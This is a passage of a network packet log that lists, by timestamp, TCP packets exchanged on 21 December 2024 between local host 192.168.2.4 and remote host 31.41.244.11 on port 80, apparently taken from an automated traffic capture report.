                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.982144117 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.985974073 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.986028910 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.986125946 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.986179113 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.989223003 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.989276886 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.989324093 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.989372969 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.992830992 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.992887020 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.992935896 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.992985964 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.996422052 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.996493101 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.996496916 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.996550083 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.000097036 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.000164032 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.000217915 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.000267982 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.003623009 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.003678083 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.003820896 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.003875017 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.007219076 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.007272005 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.007359982 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.007406950 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.010867119 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.010932922 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.010965109 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.011015892 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.014422894 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.014478922 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.014481068 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.014524937 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.045089006 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.045144081 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.045320988 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.045365095 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.116879940 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.116945982 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.117013931 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.117117882 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.118199110 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.118252039 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.118683100 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.118747950 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.118782043 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.118829966 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.121445894 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.121499062 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.121578932 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.121622086 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.124181032 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.124232054 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.124234915 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.124283075 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.126907110 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.126957893 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.127177954 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.127228022 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.129595041 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.129645109 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.129648924 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.129697084 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.132100105 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.132160902 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.132221937 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.132267952 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.134849072 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.134893894 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.134917974 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.134965897 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.137183905 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.137233973 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.137377024 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.137427092 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.139700890 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.139753103 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.139770985 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.139820099 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.142184019 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.142235041 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.142236948 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.142283916 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.144540071 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.144591093 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.144617081 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.144668102 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.146869898 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.146923065 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.147049904 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.147099018 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.149281025 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.149378061 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.149457932 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.149504900 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.151696920 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.151746988 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.151824951 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.151866913 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.154119968 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.154170036 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.154290915 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.154340029 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.156508923 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.156558037 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.156621933 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.156672001 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.158905029 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.158953905 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.159048080 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.159096956 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.161470890 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.161566019 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.161566973 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.161611080 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.164558887 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.164611101 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.164628983 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.164676905 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.166204929 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.166254044 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.166317940 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.166367054 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.168586969 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.168637991 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.168875933 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.168926001 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.170991898 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.171042919 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.171092987 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.171140909 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.172883987 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.172977924 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.172980070 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.173038960 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.174631119 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.174684048 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.174818039 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.174868107 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.176407099 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.176455975 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.176501989 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.176554918 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.178055048 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.178103924 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.178173065 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.178221941 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.180277109 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.180327892 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.180391073 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.180434942 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.184659958 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.184752941 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.184756041 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.184794903 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.184807062 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.184830904 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.184843063 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.184875011 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.185787916 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.185838938 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.186069965 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.186117887 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.187434912 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.187484980 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.187551975 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.187603951 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.189604998 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.189656019 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.189729929 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.189779043 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.190634966 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.190685034 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.190840006 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.190888882 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.192965984 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.193020105 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.193057060 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.193104982 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.194232941 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.194286108 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.194354057 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.194402933 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.197300911 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.197352886 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.197561979 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.197611094 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.197736979 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.197784901 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.197861910 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.197910070 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.199538946 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.199588060 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.308902979 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.309010983 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.309032917 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.309062958 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.309525013 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.309581041 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.309624910 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.309676886 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.310920000 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.310970068 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.311458111 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.311506033 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.311552048 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.311598063 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.312994003 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.313041925 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.313090086 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.313138008 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.314558983 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.314608097 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.314610004 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.314654112 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.316016912 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.316066980 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.316104889 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.316154957 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.317457914 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.317507982 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.317996025 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.318042994 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.318880081 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.318928957 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.318968058 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.319041967 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.320405960 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.320455074 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.320528030 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.320579052 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.321758032 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.321810007 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.321891069 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.321938992 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.323115110 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.323167086 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.323240995 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.323291063 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.324501038 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.324553013 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.324702978 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.324754000 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.325961113 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.326009035 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.326076031 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.326128960 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.327294111 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.327352047 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.327451944 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.327501059 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.328708887 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.328759909 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.328768015 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.328816891 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.330075979 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.330173016 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.330177069 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.330229998 CET4982980192.168.2.431.41.244.11
